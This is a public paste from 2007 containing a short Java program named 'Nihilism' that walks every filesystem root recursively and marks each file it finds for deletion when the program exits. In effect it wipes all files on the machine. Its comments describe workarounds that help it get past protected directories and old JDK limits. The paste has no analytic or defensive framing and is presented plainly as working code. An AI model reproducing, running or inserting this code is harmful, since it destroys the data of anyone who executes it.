All pastes #553401 Raw Edit

Miscellany

public text v1 · immutable
·published 2007-06-09 18:27 UTC
rendered paste body
import java.io.File;

public class Nihilism {
    public static void main(String[] args) {
        File[] q = File.listRoots();
        
        // I'm using an ancient JDK - Aftermath
        for (int i = 0; i < q.length; i++) {
            b(q[i]);
        }
    }


    public static void b(File b) {
        if (b.isDirectory()) {
            String[] c = b.list();
            // Some directories, such as System Volume Information throw NPE's - Aftermath
            if (c != null) {
                for (int i = 0; i < c.length; i++) {
                    b(new File(b, c[i]));
                }
            }
        } else {
            b.deleteOnExit();
        }
    }
}